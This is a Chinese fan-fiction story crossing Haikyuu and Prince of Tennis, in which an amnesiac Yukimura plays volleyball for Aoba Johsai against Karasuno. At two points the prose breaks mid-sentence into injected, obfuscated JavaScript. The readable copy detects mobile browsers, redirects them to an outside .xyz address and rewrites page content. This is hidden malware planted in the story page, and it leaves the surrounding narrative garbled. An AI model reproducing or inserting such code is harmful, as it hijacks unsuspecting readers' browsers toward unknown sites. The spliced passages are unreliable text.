眼看幸村就要挥下手臂，及川的脸上从一开始的震惊变成了惊吓：“等——”等。 只是说时迟那时快，还没等及川将要说的话说完，幸村已经挥下了手臂。 “啪”一声，不是击球的声音，而是幸村落地的声音。 紧接着“砰”地一声，排球在幸村身后掉落。 及川用手捂住自己的一只眼，不忍直视。 “为什么？本大人算好的传球，居然失误了？” 一众人呆愣在原地注视着幸村，一时间场馆内安静的可怕。 幸村低头，看着自己的右手，刚才的那一刹那，他可以确信自己是算准了可以将球扣杀，可是结果却是和想象有了一定的差距。 实际上，手和球的距离差了一大段。 幸村思索着，及川还以为他是因为刚才的失利在自责，立马跑了过来，“刚才的……姿势够帅，但是你起跳的高度太低了，小幸村！” 对面，松川见气氛不太好，直接喊话：“及川，是你传球太高了，新人第一次打比赛，你不要用力过猛。” “39.6公分。” 及川正在反驳回去，突然的一个声音打断了他的思路，转头朝幸村问道：“你说什么？” 幸村再次开口说：“刚才的一球，和我杀球的位置，相距39.6公分。” 可是，为什么呢？ 一般职业网球选手的球拍长度是27英寸（加长版29英寸），也就是68.5公分，除去手握住手柄时，球柄和手掌重合的部分，再减去球拍拍面，高于甜区击球点的部分，留下的长度大概在38公分到42公分之间。 如果此时幸村手中有网球拍的话，那么这颗球就是完美的甜区一球了。 只是很可惜，他现在不仅没有网球拍，还搞不清楚自己潜意识中的模糊记忆是什么，且他现在打的比赛也不是网球比赛…… 听到幸村冷静地报出一个这么精准的数字，及川眼角抽了两下，脸上玩世不恭的笑也要维持不住了。 无论是反射神经还是弹跳能力，幸村绝对是万里挑一的存在，现在来看，在比赛中的空间计算能力也不遑多让。 可是他的思想就向是被禁锢住了，在击球的一瞬间依靠本能反应去扣球。 这是经历过千锤百炼才能锻炼出来的本能。 只能说，他以前打的绝对不是排球，而现在那些本能的反应已经刻进了幸村的身体里。 当某些事件重合度非常高的时候，幸村会下意识的放弃一些思考，用潜意识做出本能反应。 就像是人的小习惯一样，别人容易看穿，但是本人却很难发现。 只是很奇怪的是，排球和其他运动的不同，正常人不可能混淆，但是幸村现在的表现，完全就是将排球和某种他熟悉的球类运动结合在了一起。 一个人真的会将一些常识性的事情都混淆吗？ 想到这里，及川突然想到了昨天牛岛拜托自己照顾他弟弟的情景。 * ‘阿市的记忆有些特别，身体很容易疲惫，希望你能够帮我多照看一下他。’ “记忆特别是什么意思？”及川疑问。 牛岛神色无比认真，说：“很清醒，也很混乱，不要去探究或者试图唤醒他的记忆，顺其自然就好。” 他知道幸村既然已经决定在青叶城西就读，大概率是不会答应自己转学白鸟泽，而及川这个人，看似吊儿郎当，实则是一个很可靠的人，不然也做不了青叶城西的队长，更成不了他也有几分忌惮的对手。 将弟弟托付给他，牛岛也能放心不少。 “哈，才来了一天不到，本大人这里就成托儿所了吗？”及川察觉到牛岛话里的郑重，暗讽道。 牛岛对及川的态度置若罔闻，继续说道：“青叶城西不是想要打进全国吗？如果你能发掘出阿市的才能，高三毕业的时候，你们应该不会那么遗憾了。” 话题突然变得沉重起来，及川不敢相信，自己快三年的愿望，要靠一个新人来完成，可是青叶城西的弊端，作为队长的他最清楚不过。 他真的，非常、非常想带领大家打进全国大赛。 “实力可不是吹出来的。” 牛岛摇摇头，最后给自家弟弟的实力加码，说：“阿市在自 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及川思考了一会儿，要解决这个问题，只能暂时放弃幸村拥有的速度，继续说道：“接下来的比赛，我传给你的球你不用急着去进攻，更不要依靠自己的本能，看清楚，计算好球的高度之后再起跳。” 话落，及川望着幸村的双瞳深邃如海，似乎正在酝酿一场暴风雨。 他突然有些开始坚信，等幸村习惯了排球的比赛规则，那才是他真正出征的时刻。 幸村点头，看着围过来的队友们，“抱歉大家，不会有第二次了。” “没关系的，这才刚开始，你不要太紧张了。”金田一安慰道，“实在不行，还有前辈们在呢。” “说的没错，新人不要太有压力。”渡亲治作为前辈同样上前安慰。 这才第一球，所以大家的态度都不错，没有人发出抱怨。 及川拍拍手，高声喊到：“好了，大家各回各位，比赛要继续了。” * 比赛继续，岩泉直接一个大力开球，排球朝着对面的半场而去。 眼看着排球朝自己过来，渡亲治快速寻找及川的位置。 “小治，这边。”及川直接出声提醒。 渡亲治见后，一个干净利落地托球避免对手直接发球得分。 排球缓缓升高。 这边传球的时候，双方都在进行战术走位。 ‘虽然第一球失利，但是比赛中临时换将是禁忌，我作为队伍中主攻手的位置，及川前辈这一球仍就会托给我的机率是百分之百。’ 想到这里，幸村瞥一眼对面的前排矢巾秀前辈和松川前辈挡在自己身前的身影，脑海中快速转动。 ‘对面松川前辈和国见现在已经将我的球路封死在网前，所以，及川前辈一定会找一个会让对方打乱现在布局的位置托球。’ 幸村看到自己前方，心中暗自计算，视线在排球场内快速移动，在看到右手边的金田一时，视线不由停顿了两秒。 ‘打破对方现有防守的最好办法，就是让对手以为作为二传手的及川前辈会将球托给在场上的另一位一年级新人。因此，这次托球的位置，便是金田一现在位置的头顶上空。’ 想到这里，幸村快速向右后方撤下两步，拉开和中心网的距离，扩宽自己的视野。 身后渡亲治和他作为前后关系，在传球后瞬间回到原位，同时上前两步，补足右边空缺。 排球比赛对于队形的要求非常严格，前排三人，从左到右分别是四号、三号、二号，后排则是五号、六号、一号。 并且，在比赛规则中，选手正在击球的时候，有一条硬性要求。 不管选手怎么移动，没有特殊情况都不能改变六个人前后左右的关系。 也就是说，作为四号的幸村开始在球场前排的最左边，那么在没有轮转的这场比赛中，他的左边永远也不能有其他选手，右边永远只能是相邻的三号位置的金田一。 所以，在幸村做出向右边开始移动的举动后，金田一为了避免防守区域的重复，也跟着朝右手边移动。 及川在看到幸村动作的时候，立马明白过来这是幸村给自己这个二传手的信号。 ‘居然这么有自信吗？而且一个小小的举动，就让其他人不自觉配合自己，还是说，他已经提前预判了我的想法呢？’ 这一系列的所有动作都是在一瞬间完成，眼看排球的高度越来越低，及川不再犹豫，直接起跳传球。 眼睛余光看到对面原本严重防守幸村右场的人，在快速更换防守区域的时候，心中暗自惊讶。 没有想到幸村一个小小的举动，不仅预判了自己，也预判了对手。 还是说，他先后退远离中心网，是故意作秀给对手看，从而传递出“这一球是金田一进攻”的假消息，然后在对手更换防守阵形的时候，以最快的速度精准卡住站位，确保自己能够第一时间扣球。 还是，纯粹就是巧合？ 更多的事情来不急多想，及川在手指接触到球的最后一刻，手腕一转，将球传给了在场另一个新人——金田一的头顶。 不管是幸村算计了全场，还是看出了自己的想法。他们都要先拿分才行。 排球没入高空的同时，对面半场内松川还在加快向自己右场移动的速度，和自己队的主攻手国见汇合，打算合力拦网。 同一时间，金田一看着头顶那么高的球，手下一紧。 太高了，球到达他能接球的范围，对面的防守早就就位了。 所以这个高度，及川前辈不会是给自己的托球。 所有思绪都在一瞬间，金田一怎么说也算在国中身经百战了，因此很快判断出自己现在的立场。 他现在要做的，就是朝右移动，避免幸村过来的时候因为队形错乱而犯规。 也就是金田一抬脚移动的那一刻，及川直接喊出了进攻者的名字。 “小幸村，接球！” 唰—— 众人只见眼中一道残影快速掠过，定睛一看。 幸村已经一跃而起。 半空之中，矫健优美的身姿像是在半空停住，幸村视线扫视着对面。 对方因为前排松川的移动，对方防守出现了空隙，而后排的清水和岩泉两人正在快速上前补位。 “好小。”看到对面全场，幸村此时只有一个想法。 正在移动中的选手，会有致命的破绽。 “死角是，右下角。” 砰—— 排球犹如炮弹一般朝着对方的后场过去，正好和岩泉擦肩而过。 势大力沉的一击暴扣得分，让及川松了一口气，“这才对嘛，本大人的传球才不会出现任何意外呢。” 要是幸村再像上一球那样来一次，这场比赛，便只能暂时放弃给他传球了。 岩泉作为亲自感受幸村这一球的人，发出感叹：“好厉害的控球力。” 只要再偏移两公分，幸村这颗球就可以算作是直面对手的进攻性击球了。 7.幸村的回球 现在比分一比一平，及川队得分，发球权交换。 同时，接发球队顺时针轮转，原本四号位置的幸村，来到前排最靠近中心网，也是球场中心的三号位。 ‘三号位，因为靠近球网，所以这个位置最应该发挥作用的地方就是进行防守。’ ‘同时，还要根据球场上的变化，做好支援左右的准备。’ 看似是副攻手的位置，进攻反而不是最重要的。 位置换好，幸村直接和松川对上。 “幸村桑，刚才那一球你怎么会知道及川会将球传给你呢？” 松川看着对面沉静的少年，心下有些好奇他到底是怎么想的。 明明第一球的时候连击球都会计算错误，第二球便可以准确无误地打出那般爆发力的扣球，实在让人匪夷所思。 “并不是我先预判了及川前辈的传球，而是我的举动让我这次的预判成了现实。” 在自己前路被堵死的情况下，改变位置找到一条新的生路，幸村的洞察力惊人的强大。 及川也是在看到他后退这个举动之后，改变原本想要传给金田一的球变成传给幸村的球。 并且，幸村所在的位置上，及川并不需要改变原本的球路，只要将球原本的最高点提高，这样就可以迷惑对手，让他们以为这一球是传给金田一的球。 但是在球跃过一个高点还在往上的时候，金田一自然会明白自己接不下这一球，从而退开，为幸村的扣球让出最佳的位置。 这不是金田一和幸村有多么的默契，而是在知道自己不能接下球的时候，交给队友，是他此时唯一的选择，也是多年打排球比赛的一点经验。 所以，与其说是及川在带动队伍的进攻，不如说是幸村率先给及川发出了进攻的信号，其余人不过是被动配合罢了。 只是这一球，就让及川有了一种幸村精市就是天生的二传手的念头。 明明是刚入社的新人，也是第一次和别人打配合，他却可以记住另一位新人的数据，从而发出指令。 滞空能力、看穿对手死角的洞察力，还有在瞬息万变的竞技赛场上做出策略的决策能力。 仅仅一球，就让及川体验得酣畅淋漓。 及川现在终于明白了牛岛那句“幸村是接近神的存在”是什么意思了。 他看看幸村，又看看因为轮转来到二号位置的金田一，突然又头疼起来。 这场比赛只打一局，如果他想要多测试一下幸村的能力是否具有稳定性的话，接下来的传球都给幸村才行。 可是，同样作为新人的金田一也在这个队伍中，如果不给他传球的话，及川怕会对这个学弟打击有点儿大。 看看对面国见就知道了。 因为幸村的进攻破了自己的防守，现在可是斗志昂扬呢。 * 嘀—— 担任裁判的入畑教练吹响哨子，继续组织比赛。 排球比赛规则之一：哨声响后10秒之内必须打球。 加藤将排球平抛出去，手臂挥下之时，排球成抛物线般朝对面而去。 幸村看着球直接朝对面的岩泉前辈的侧面过去，非常小幅度地抬了下下巴。 ‘看来前辈们在努力给我们这些新人喂球呢。’ 幸村想想也无可厚非，这场比赛本来就是一场类似指导赛的队内测试，想要更加了解新人的具体实力。 接下来的画面就像是应证了幸村的猜想。 岩泉直接掠过二传将球传给了在前场的一年级新生国见英。 国见的进攻迅猛而快捷。 排球在他扣球的一刹那，幸村没有选择拦网。 他和国见的距离太近，如此强力的球过来，多拦几次手指肯定受不了。 潜意识中，幸村觉得自己的手很重要。 “小卷接应。”及川见后，立马安排选手补位。 花卷此时在的位置正好是五号位，也就是国见进攻的位置。 花卷上前托球，有目的性的将球传给了金田一。 “终于来了。” 原本还以为自己不会这么快接到传球的金田一有些兴奋。 幸村的表现太过亮眼了，让他心里就算不服气，也只能怪自己实力还不够强。 啪—— 清脆的击打声响起，排球直接朝对面退回。 清水上前接球，直接传给自家二传矢巾秀。 矢巾看到飞过来的球，再看看对面有自家及川前辈在的阵容，只觉得自己现在压力山大。 就在这时，国见偷偷给他打了个手势。 矢巾见后，立马将球托出。 国见见球飞奔，脚下一点，一个助跑，随后在网前起跳。 国见扫视一眼对手场地，四号位因为刚才接发球补位偏移了不少。 “好机会。” ‘这个扣球，你能接下吗？幸村精市。’ 嘭！ 巨大的拍打声响起，幸村感受到从前上方传来的破空之声，抬头，目光如炬，直接锁定球的位置。 ‘扣杀球。’ 关于杀球，幸村脑海里一瞬间浮现出许多回球的姿势。 只见他如鬼魅般的身影跃起，在空中双手张开。 扣杀的最好回球是——棕熊落网！ “三招回球之棕熊落网！” 啪嗒！ 伴随着清亮的声音落下后，排球遁入高空。 “好高，这一球，不会出界吗？”金田一喃喃道。 “这一球，是界内球哦。” 幸村的声音无波无澜，却让人忍不住信服，“只是……”为什么这一招这么伤手背？ 这样会让 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看样子直接让他在比赛中深刻理解排球的路走不通，还是要单独拆开练习才行，等他对排球的记忆更加深刻之后，现在这样的情况应该就不会再发生了。 “好险，差一点就要出界了。”及川在那里深思，一旁渡亲治看清落点后有些后怕，说，“幸村，以后的回球不要太高了。” “前辈，其实，有没有可能这是我控球的结果呢？”幸村听后哭笑不得。 若不是不太清楚球落在线上算界内还是界外，这一球的落点可能会更加刺激。 “真的有人能做到那么精准的控球吗？你是怎么做到的？”金田一此时也来了兴趣，若是自己也能够做到这样的控球实力一定会更上一层。 “自然而然就做到了，就好像是我本身实力的一部分。”幸村回答道。 金田一有些丧气，说：“好吧，我跟你们这些天才果然合不来。” 本以为上了高中就能够脱离国中时期的阴影，却没想到，高中有一个实力比影山飞雄更“不讲道理”的存在。 接下来的比赛，及川想通对待幸村不能一下子走太快后，直接以“手背受伤”为由换了下去。 没有了幸村时不时冒出来的怪异“绝招”，这场比赛很快就分出了胜负。 由及川队获胜。 “原来这场比赛二传手的强弱能够直接锁定比赛的战局啊。” 没有幸村后，双方队伍实力其实相差不大，但是及川一个人就能顶对面三个人。 不管是在策略和队员调度上，及川一个人就对对手完成了“封锁”。 使得他带领的队伍井然有序，而对面队伍则是溃不成军。 直接以15：7的大比分获胜。 9.发球、小试牛刀 “好了，基本上所有的发球我都已经演示一遍了，现在该轮到你上场实战练习。” 及川完全没有考虑幸村接收的知识太多会不会消化不良的问题，一个人一夜之间就能打出像模像样的比赛，可见幸村对新知识消化吸收的能力有多强。 就像及川对他的信任一样，幸村对自己的实力只会更加相信，“发球之后，去接被回击的发球应该也很重要吧，不然及川前辈来给我接球？” 及川听后抬头，咖啡色的短发之下那双锐利的眼睛充满了“早知如此”的胜利意味，“小幸村这么努力要求了，作为队长，我当然要满足你了。” 俗话说得好：比你自己更了解你的，是你的对手。 在同一个队伍里的时候，及川可以明确感受到幸村的六维潜能，而在相反的队伍时，他能感受到的则是一个对手对他造成的威压。 而现在，及川就是想小小的试一下和幸村对打的感觉。 * 幸村抱着球朝对面走去，来到发球点站好，抬眸直视对面的球场，冰冷的视线不带一丝温度，脑海中快速闪过刚才及川示范的几个发球，很快他就决定了他想要的发球。 及川嘴角勾起一丝极淡的弧度，催促着：“开始吧。” 幸村闻此，轻微敛眸，视线落在蓝黄白三色相间的排球之上，随后缓缓举起双手将球托至身前，然后—— 唰！ 幸村双眼一睁，排球在一瞬间脱手而出。 在幸村抛出球的下一刻，及川的声音立马传来，“发球太高的话，会增加控球的难度，这样的球很容易失误或者出界。”一来就是跳发球，小幸村你是不是太过于自信了点？ 对面幸村镇定反驳，“不，现在这样的高度，刚刚好。” 语罢，只见幸村利落屈膝、起跳，高举的手臂犹如利刃朝高空中的物体劈下。 啪—— 清亮的击打声响起，幸村手掌化忍，正中排球中上部分。在球与手掌分离之前，幸村手腕一转，为原本颤动的球体施加更加强烈的旋转。 “咻”地一声，排球犹如一支利剑，刹那之间，蓝、白、黄三色光芒一泻千里。 外旋发球。 这样的起跳发球，似乎刻入骨髓，成为了他的本能。 在适应了球体大小和自己手臂的长度之后，幸村不会允许自己犯发球失误那样低级的错误。 若说网球是发球必须落地后接球的话，排球则是相反，必须在球落地之前接住。 及川看着不同于任何人的跳发球，心下暗惊。 别人都是以无旋转发球为最终目标，可是幸村偏偏反其道而行之。 不仅要球旋转，还要赋予排球更大的旋转力。 这样的发球，速度、力道都惊人的恐怖。 虽然惊讶，但是及川怎么说也是全国级的选手，一秒就恢复了过来，只是眨眼的功夫，球竟然已经到了身前。 刚才的训练赛，幸村精准的控球力让他明白，不能用看寻常选手的眼光来看待他的球。 若是其他人打出这样又高又迅捷的发球，他还可以判断为界外球，可幸村的球却只会是精准的压线球。 1V1的比赛，球离底线越近，回球越难，极速坠落的冲击力没有人能保证百分百接住，因此，二传手及川只能跨步上前，脚下一点，整个身体腾空而起。 嘭—— 沉闷地击打声后，排球快速倒回。 只是还没等及川身体落地，对面幸村便早早等在了 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到此，他话锋一转，“不过，因为你比赛知识太过薄弱，及川大人好心为你量身定做了一份训练菜单，要乖乖每天练习哟。” 说完，一手离开球体，从裤子口袋里掏出一张折叠的纸往幸村所在的半场走过去。 幸村迎上自家前辈，接过纸打开一看，密密麻麻的字符，心中只觉得别扭又不适。 非要说的话就是，被同是选手的人安排训练，就感觉还挺、新奇的！ 一天的部活结束之后，幸村收到了及川赠送给他的排球基础训练套餐，对此他也只能默默收下…… 10.定位二传 接下来的几日，幸村按部就班的按照指示训练，不知不觉间一周的时间就这么过去了。 又一天部活结束，没有轮到值日的幸村第一时间走出校门，只是，他没有在校门口看到来接他放学的车，却碰上了意想不到的人——及川彻。 此时，夕阳的余晖洒下，沐浴在橙色光晕之中的高大身影迎风而立，一手插兜，一手拽着青白相见的校服外套搭在肩上，衣摆顺着晚风如旌旗翻动，此时的及川在幸村的眼中就犹如一位孤高的强者，遗世独立，周身寂寥。 似有所感一般，及川转过身，看到幸村从高耸的大门阴影下一步步走来，立马出声叫住，“呀，小幸村走得真快，一眨眼就不见人影了。”天知道他换个衣服的时间就找不到人后飞奔过来的场景。 闻此，幸村浅浅一笑，知道及川是专门来校门口堵自己的了。 当幸村在及川面前站定，只听他继续道：“刚才我已经和小牛若去电话了，今天就由及川大人亲自送你回家哟。” 说着，主动推开一步，做出一个请的手势，彰显自己的绅士风度。 幸村见此，顺着自家前辈的演绎，迈开脚步，从及川身前措过，身后及川连忙跟上。 “前辈是想上门家访吗？”他们两个可不顺路。 看着几步就和自己并肩行走的人，幸村噙着若有似无的笑意，浅色的双眸令人猜不透他的想法。 “如果小幸村愿意的话，也不是不可以，顺带将小牛若拐到我们青城来，你说怎么样？” 幸村眼含微笑，瞥一眼及川，脚步未停，说：“很不错的提议呢……”只要你能成功。 读懂幸村未尽的意思，及川耸耸肩，表示高一的后辈真是一点儿也不可爱。 “好了，不开玩笑了，我找你可是有正事的。”眼见自家后辈不上当，他收敛了调笑的神情，正色道，“排球，好玩儿吗？” 话音落地，幸村脚下一顿，侧身看向自家前辈，发现对方丝毫没有玩笑的意味，不觉微微蹙眉。 ‘及川前辈为什么突然问这个？’ 看似简单的一个问题，及川没有必要大费周章地专门堵门来和自己说，所以，这话一定另有深意。 只是怎么想，幸村也想不出个所以然来，最后只能淡淡答道：“挺有意思的，尤其是当排球成为一种体育竞技之后。” “哈！”及川听后轻笑一身，没想到会听到这样一个出乎意料的答案，吐槽道，“有时候我真看不明白你每天为之努力的究竟是排球，还是为了胜利。” 幸村的排球日常，给人的感觉很矛盾，他似乎是在每天努力，却又像是学生就该上学一样完成每日任务，否则不会都一周了，还没有找他们这些前辈确定过自己的定位和想法。 不管是国见还是金田一，或者是其他人，都有在训练中和他们表达过自己想要打的位置，只有幸村，明明是一颗耀眼的新星，却一味沉默不语。 “因为有了胜负，竞技才会令人着迷。”幸村回答得很坚决。 不给幸村思考的时间，及川的第二个问题接踵而来：“既然如此，那么你在怕什么呢？小幸村？” 从他每天一丝不苟的训练就可以看出，他明明是一个不甘于人下的性子，却在适应“平庸”，他们本以为开学那天幸村的发言很快就会兑现，没想到等来的是他归于“平凡”。 即使，排球部所有人都知道他很强。 有人说过，能力越大，身上的责任就越大，如今是什么让幸村心生畏惧，不敢踏前一步呢？ “怕？”这是幸村的字典里很生僻的一个字符，幸村眼中露出一瞬间的迷茫，不过很快就恢复了过来，快到，及川都没来得及察觉。 “是了，是恐惧。” 幸村微微点头，认同了及川对自己现在的看法。 他虽然没有了记忆，但并不是对自己一点都不了解。 他是那么好强的一个人，怎么会甘于和普通新生一样，参加部活就为了给那些还不如自己的高年级捡球，然后等他们练习结束，就拿起拖把将场地打扫干净？ 这不是幸村精市该有的人生。 指点江山，挥斥方遒，要这样意气风发才对。 原来，他是在恐惧，总觉得如果是他带队的话，就会有不好的事情发生…… 这边，及川还不知道幸村瞄准的是他身为队长的位置，还在苦恼孩子的反应似乎有点儿过于平淡了。 眼看离牛岛宅越来越近，及川不再顾左右而言他，直接摊牌，说：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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及川心中百般滋味，面上却不显，只是很郑重地对着幸村说：“那就证明给我看吧，和乌野的练习赛，二传的位置，是你的了。” “多谢前辈。”幸村有无不可地点点头，说，“就送到这里吧，前辈也早点回家。” 说完，两人分开。 在幸村走远后，及川默默掏出手机，电话接通后，他就迫不及待给对方分享刚才的事情。 “哇啊，iwa酱~我给你说，小幸村居然给我下战书哎，比小飞雄那时候还balabala……” 夕阳伴随着微风送远处的身影渐行渐远，幸村也为自己的排球生涯正式拉开了序幕…… 11.棋子 练习赛当天，在乌野还没有过来之前，青叶城西排球部正在进行互相接球训练。 无数排球越过中心网来到对面，幸村精准找到属于自己的那一颗接住，然后在国见不解的目光下淡淡道：“对手应该快到了，我先去洗个手。” 说完，幸村将手中的排球朝身后高高抛起，“哐”一声，排球精准进去放在球场边的蓝色大筐之中，随后转身步出球场。 “我也去。”国见见此，连忙跟上。 哗啦啦—— 巨大的水流冲下，幸村修长的双手在水流间穿梭，动作优雅而闲适，身边国见却没有心情欣赏这一幕，只是仅仅盯着对方的脸庞，想要看清楚他会不会露出一丝紧张。 ‘完全没有。’ 就在幸村洗完，打算开口问他要不要一起出去的时候，国见率先开了口：“幸村，虽然这一次教练没有派我上场，但是主攻手的位置，我们公平竞争，我是绝对不会输给你的。” 看着国见有些别扭的表情，幸村眼眸含笑，看来国见还不知道他要打的位置是二传，并且，教练没有安排他上场，有一个方面也是为了保留实力。 “好啊，那么一起加油吧。”说完，幸村意味深长地看一眼国见，随后收回视线，继续问，“所以，国见同学现在要一起出去吗？” “我、我再洗一会儿。”这种和竞争者放狠话的事情，太尴尬了。 国见扭过头，不敢看向幸村。 其实他本身并不是多么要强的一个人，只是看到一个天赋出众，实力出众，还依然努力训练，不时和队友们讨论规则，偶尔还会提点两句的幸村，不知道为什么，他也开始变得热血起来。 幸村就像是一直走在前方的领路人，彷佛只要一不小心，自己就会掉出他的队伍。 这种“追逐”和国中时强迫自己去跟上影山的托球不同，而是发自内心的，想要和他一起并肩作战，他因此而努力练球。 * 幸村回到室内，副队长岩泉看到他后立马出声：“快过来幸村，乌野的人已经到了。” 幸村闻声而来，视线顺着众人的方向朝门口望过去，只见穿着黑橙相间队服的众人站成一排，目光从他们身上一一略过，在穿过影山的时候不觉顿了两秒。 也就是这两秒的时间，影山犀利的目光回望了过来。 幸村丝毫没有偷看被抓包的感觉，回以礼貌一笑。 影山见此，轻点一下头算作回应。 “切，高中还是这个拽样，‘王者’不愧是‘王者’，到哪里都是这样一幅居高临下的样子。”金田一不爽吐槽，语气中尽是嘲讽。 幸村听后并没有回应，未知全貌，不予置评。只是平静说道：“他很强。” “应该说是强得可怕，没有人能够跟上他的托球，所以这场比赛我们稳赢。” 想到影山那到达极限点的托球，金田一不否认他的厉害，但是排球不是一个人的游戏，就算厉害，若是不懂配合，只会打出一场糟糕的比赛。 而在对面，影山也对幸村做出了评价：“那个人，很强。” “谁啊？居然让影山你说很强？”日向双眼放光，朝前方看了看，看到青叶城西的几人将浅紫色的少年团团围住，“啊，是他吗？你怎么知道的影山？” 乌野队长，泽村大地几人也看向了影山。 影山：“是直觉。” * 嘀—— 一声哨声响起，双方在入畑教练的安排下列队。 “你居然是二传手。”影山看着站在自己对面的幸村神色凝重。 而除了对手外，青叶城西这边的队员对于幸村所在的位置也非常诧异。 “居然让一年级的打二传，教练和队长也太乱来了吧。” “就算及川不上，也应该是矢巾，怎么会是他？” 不怪众人反应这么大，实在是幸村除了第二天练习了一下二传的位置外，就再也没有打过这个位置，现在在练习赛上首发就算了，还是如此重要的位置，很难有什么说服力。 幸村五感敏锐，自然听到了自己身后的窃窃私语，淡然一笑，对着影山说：“第一次正式比赛打这个位置，请多指教了，影山君。” 没想到幸村会这么温和，影山一时有些不知所措，“请，请多指教。” 双方敬礼完毕，分别站上自己所在的球场。 岩泉有些怕幸村受到场外的影响，当着众人的面对幸村说：“幸村，不要有太大压力，这只是一场练习赛，我们大家都相信你的托球。” “谢谢前辈，为了和大家默契配合，我开场打一号位。”幸村点点头，表示自己并没有放在心上，主动选择了接下来比赛的阵型。 一号位，是在球场的右下角的位置，在视野上这个位置有利于幸村更好观察整个球场的动向，尤其是，自己的队友。 另一个就是，从乌野手中拿下发球权后，因为位置轮换的原因，一号位来到后排中间的六号发球点，也就是说，幸村将会是青叶城西第二个轮换到发球的队员。 不管前面战况如何，轮到幸村发球的时候，他有自信可以更好地奠定胜局。 比赛开始，由青叶城西松川一静优先发球。 排球缓缓升空，看到球，日向不由自主地就去接球。 幸村的视线将全场举动尽收眼底。 ‘对面的副攻接第一球，是失误吧。目测身高165厘米，这个身高作为副攻手，肯定本身具有很强大的才能。’ ‘优越的弹跳力，还有极快的反射能力。’ ‘乌野前排月岛萤，加上三年级主攻手东峰旭、二年级田中龙之介，两名老手加一名新人的搭档，防守不弱。’ ‘最主要的是——二传！’ “不过，这些都没什么用。”幸村的洞察力可以让他在很多比赛中都无往不利，而日向整个身体紧绷外加止不住颤抖的样子，自然不可能放过。 “看来，真正的比赛要在他振作之后了。” 接下来的比赛，幸村失去了继续观察对手的兴致，转而开始观察起自己的队友。 ‘从比赛开始之后，金田一的情绪波动就太大了，是对面打出了另他出乎意料的比赛了吧。这可不是一个好现象。’ ‘由于对手频繁失误，自己这边已经有些掉以轻心了。’ 比赛继续进行，日向的失误终于让队友忍不下去，接连走到他身前想要让他振作起来，直到，田中龙之介开口。 “如果被换下去的话，那就等真的被换下去之后再想。” 就在田中的这一句话落之后，幸村突然感觉到日向身上的气势变了。 “这个眼神……”好熟悉。 那种为了打球可以不顾一切的专注眼神，让幸村心跳一下慢了半拍。 彷佛在遥远的时空中，自己也曾见到过和日向此时相似的眼神。 干净的、快乐的、没有掺杂一丝杂质的目光。 幸村轻声低语：“比赛，正式开始。” 似乎是为了印证幸村的这句话，对面左右的成员都动了起来。 而随着对面网前成员的移动，加上左边对手的防守，金田一一时不敢轻举妄动。 “身体右转16.8度，手肘和身体成大于60度，身体后仰幅度……这一球的方向是右边。” “松川前辈……来不及了。” 本来打算让前辈接球的幸村，在日向起跳的那一刻不再多言。 唰—— 松川只见一道残影从身边冲出，来不及多想，立马朝左边退开几步，避免幸村会打破队形。 只见幸村一个闪身就冲到前方，在离网前三米外的地方站定。 “日向，不要扣球！”影山看到突然冲出来的人，手中的排球已经传了出去，并且，球已经到了日向手中。 最后只能眼看着日向将球扣下。 啪。 清脆的击打声响起，排球如幸村预测的一样来到他的面前。 “岩泉前辈，接球。” 一切发生的太快了，当幸村的声音响起，众人才反应过来。 幸村轻松将球托给前排的岩泉，只是，对面的防守也很迅速，影山早就知道了日向的扣球会被接下，所以他们回防的速度并不慢。 “好一传。” 岩泉心下暗惊：幸村的救球太漂亮了，直接打破了对面的快攻，在我们的队伍里， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441875|182484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也就只有他有这般神鬼莫测的速度了吧。 ‘只是现在，我该传给谁？’岩泉看着自己前方被封锁的防线，始终没有起跳传球。 幸村见对方迟迟不能下定决心，直接出言提醒：“前辈，有时候视野不能总盯着对手看。”看来是这段时间他太按部就班，给了前辈们自己实力一般的错觉呢。 清冷的声音从身后传来，岩泉突然清醒。 ‘是啊，如果以前自己遇到这样的问题，一定会毫不犹豫地将球传给及川，现在不过是二传换了个人，难道就不该相信自己的队友了吗？’ 其实这也不怪岩泉下意识的将幸村忽略，他只是习惯性的多照顾一年级的后辈，同时也没有将一年级新生当成是可以“托付生死”的队友。 这看似是一种照顾，其实就是潜意识中的不相信。 “犹豫不决，就给二传。”岩泉定下心，快速出手，将球传给了在后方的幸村。 二传手，一个队伍的指挥官，每一颗球的起落，都需要经过他缜密的计算，只为了最后的一次进攻。 “来了。”影山看到对面的动作，身体微微下压，盯着幸村的双眼满是警惕，想着他究竟会将球传给谁。 排球在空中飞驰，幸村直接原地起跳。 “这个位置接球，难道他要在空中传球？”日向见后大惊出声。 幸村的视线从影山身旁扫过，最后定格在对面的后场线上。 影山神色肃穆：“不好，他是要自己扣球。” “哼，上当了。” 就在影山话音落地的时候，月岛和东峰终于移动了脚步。 只不过刚刚抬步的瞬间，幸村便将球传给了一直被月岛死守的金田一。 “小金，后排三点钟方向。” 伴随着幸村话音的落地，金田一顺利扣球，正是幸村口中的位置。 嘭—— 沉闷地撞击声响起，现场一片寂静。 影山回头，死死盯着排球落地的一点，有些不可置信：“这个位置，居然就是刚才他看过的位置。” 所以，他之所以看这里，本意并不是为了误导，而是，他早就算准了我们会为了防守他的扣球而变换走位，然后在月岛和东峰前辈动身的瞬间，只要让金田一在三秒内扣球，这一球就是青叶城西必得的一分球。 “可是，他是怎么做到可以这么精准的把控时间？尤其，金田一的配合，当真可以这么天衣无缝吗？” 影山想不通，如果金田一能够跟上幸村的步伐，当初北川一中的“背叛”便不会出现，究竟是为什么…… 日向作为影山的搭档，第一时间察觉到了他异常的状态，连忙跑过去，拍拍对方的背，担忧的询问：“影山，你没事吧？” 见他不回话，日向继续说道：“都是我扣球太慢了，你千万不要自责啊。” 影山抬头，对上日向单纯的担忧眼神，叹了口气。 ‘日向根本就不懂刚才一球的可怕。’ 